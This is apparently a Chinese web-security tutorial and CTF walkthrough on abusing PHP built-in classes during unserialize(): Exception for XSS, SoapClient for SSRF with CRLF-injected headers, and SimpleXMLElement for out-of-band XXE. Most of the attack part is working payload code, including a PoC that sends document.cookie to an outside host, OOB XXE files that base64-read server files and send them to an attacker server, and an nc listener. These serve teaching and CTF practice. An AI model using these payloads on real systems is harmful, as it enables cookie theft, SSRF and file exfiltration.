【Web攻防-23】PHP反序列化&原生内置&Exception类&SoapClient类&SimpleXMLElement

原生自带类

参考:

https://xz.aliyun.com/news/8792

https://www.anquanke.com/post/id/264823

https://blog.csdn.net/cjdgg/article/details/115314651

php官方文档:

https://www.php.net/manual/zh


利用条件

  • 有触发魔术方法:代码中有触发魔术方法
  • 魔术方法有可利用类:使用脚本和官方文档查找php环境有无可利用类
  • 部分自带类拓展开启:容错处理;php.ini拓展extensio

生成查找原生类

<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
   $methods = get_class_methods($class);
   foreach ($methods as $method) {
       if (in_array($method, array(
'__construct',
           '__destruct',
           '__toString',
           '__wakeup',
           '__call',
           '__callStatic',
           '__get',
           '__set',
           '__isset',
           '__unset',
           '__invoke',
           '__set_state'
      ))) {
           print $class . '::' . $method . "\n";
      }
  }
}

可以发现有很多原生类调用魔术方法,但不是每个都能触发,常用的就几个


案例

代码中只需要有一个反序列化操作,借助原生类实现漏洞

?php
$a = unserialize($_GET['xss']);
echo $a;
?>

以get方式传入xss参数值,传入恶意xss语句并不会触发xss,因为此时代码在做反序列化操作,传入的并不是序列化语句

在反序列化接收对象时,代码中没有可利用的类(没有危险类、没有危险方法)– > 使用语言自带的类(原生类)来进行触发漏洞

使用Error/Exception类进行XSS

注:代码中需要开启容错处理(一般开启)

主要逻辑

  • 输出对象可调用__toString代码中使用echo把类当做字符串处理,想到__toString魔术方法(漏洞触发重点)Exception原生类中存在__toString魔术方法
  • 无代码通过原生类Exception案例代码中不存在危险类和危险方法,尝试使用原生类中的被调用魔术方法当使用这个原生类时,这个类会做一个异常输出,配合这个操作就满足xss执行了
  • Exception使用查询编写利用<?php
    $a = new Exception(“<script>alert(‘xss’)</script>”);
    echo urlencode(serialize($a));
  • 通过访问触发输出产生XSS漏洞

靶场案例

靶场:https://buuoj.cn/challenges#[BJDCTF%202nd]xss%E4%B9%8B%E5%85%89

目录扫描时,发现/.git目录403,则目录存在

使用Githack工具把git泄露的内容取出来:https://github.com/lijiejie/GitHack

发现index源码,反序列化操作,传参yds_is_so_beautiful

主页又显示字符输出,联想到__toString()魔术方法(把类当作字符串使用时触发),尝试使用原生类进行xss

poc:xss获取cookie

<?php
$poc = new Exception("<script>window.open('http://5cc03f67-5aaf-4878-be20-a68f37fbae1b.node5.buuoj.cn/:81/?'+document.cookie);</script>");
echo urlencode(serialize($poc));

然后打开F12可以在Cookie一栏中发现flag

使用SoapClient类进行SSRF

主要逻辑

<?php
$s = unserialize($_GET['ssrf']);
$s->a();
  • 输出对象可调用__call,重点,这里是漏洞触发核心接收一个ssrf参数值,当$s->a();时调用方法不存在,则会去调用__call()
  • 无代码通过原生类SoapClient运行查找原生类脚本发现__call()魔术方法在内置类SoapClient注:php.ini需要开启soap扩展,否则无法使用
  • SoapClient使用查询编写利用php-soap官方文档:https://www.php.net/manual/zh/soapclient.call.phppop构造<?php
    $a = new SoapClient(null,array(‘location’=>’http://192.168.5.7:2222/aaa’,’uri’=>’http://example.com’));
    $b = serialize($a);
    echo $bnc监听本地2222端口nc.exe -lvvp 2222
  • 通过访问触发服务器SSRF漏洞然后传参造成ssrf,也是监听到了

靶场案例

靶场:ctfshow-web259

代码提示1:

//flag.php
​
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
​
​
if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}

$_SERVER['HTTP_X_FORWARDED_FOR']接收一个xff头,

两个条件:

  • xff头必须为127.0.0.1
  • 传入token值为ctfshow

代码提示2:

<?php
$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();

没有getFlag()方法 –> 调用原生类的__call() –> 利用SoapClient内置类触发ssrf

pop构造:

构造数据包,构造ua头

$ua = "aaa\r\nX-Forwarded-For:127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow";
$client = new SoapClient(null, array('uri' => 'http://127.0.0.1/', 'location' => 'http://example.com', 'user_agent' => $ua));
echo urlencode(serialize($client));

ssrf后,条件都满足了,最后访问/flag.txt得到flag

使用SimpleXMLElement类进行xxe

主要逻辑

  • 不存在的方法触发__construct
  • 无代码通过原生类SimpleXMLElement
  • SimpleXMLElement使用查询编写利用

调用SimpleXMLElement::__construct方法

公网服务器准备三份文件

注意文件权限问题,嫌麻烦就设置777

oob.xml:触发访问远程服务器地址上的send.xml文件

<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % remote SYSTEM "http://x.x.x.x./send.xml">
%remote;
%all;
%send;
]>

send.xml:触发访问远程服务器地址的send.php

利用php://filter协议读取test.php文件,然后通过变量file传到send.php接收

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=test.php">
<!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://x.x.x.x/send.php?file=%file;'>">

send.php:接收send.xml读取的文件内容,保存到本地result.txt

<?php 
file_put_contents("result.txt", $_GET['file']) ;
?>

pop构造

<?php
// 远程触发需要为true
$sxe=new SimpleXMLElement('http://x.x.x.x/oob.xml',2,true);
$a = serialize($sxe);
echo $a;

最后base64解码result.txt文件就可以查看到读取的文件内容

靶场案例

靶场:[SUCTF 2018]Homework:https://buuoj.cn/challenges#[SUCTF%202018]Homework

开启后,先随便注册一个账号进入页面

页面显示如下代码:

<?php 
class calc{
function __construct__(){
calc();
}

function calc($args1,$method,$args2){
$args1=intval($args1);
$args2=intval($args2);
switch ($method) {
case 'a':
$method="+";
break;

case 'b':
$method="-";
break;

case 'c':
$method="*";
break;

case 'd':
$method="/";
break;

default:
die("invalid input");
}
$Expression=$args1.$method.$args2;
eval("\$r=$Expression;");
die("Calculation results:".$r);
}
}
?>

定义一个calc类,使用__construct()构造方法触发calc方法

通过触发,发现有一个模式module和三个参数args

/show.php?module=calc&args[]=2&args[]=a&args[]=2

按代码逻辑看,calc就是调用calc自定义类,三个参数表示2+2,所以页面结果输出为4

尝试修改地址,调用SimpleXMLElement内置类进行xxe

/show.php?module=SimpleXMLElement&args[]=http://x.x.x.x/oob.xml&args[]=2&args[]=true

修改公网服务器上send.xml,使其读取地址指向当前靶场show.php,看能否读取

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=show.php">
<!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://x.x.x.x/send.php?file=%file;'>">

靶机开放公网访问后即可读取成功

其他:ZipArchive类删除文件

https://blog.csdn.net/cjdgg/article/details/115314651


本节知识点

WEB攻防-PHP反序列化-原生类&生成及利用条件

WEB攻防-PHP反序列化-Exception触发XSS

WEB攻防-PHP反序列化-SoapClient触发SSRF

WEB攻防-PHP反序列化-SimpleXMLElement触发XXE

十二亿七千光年
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇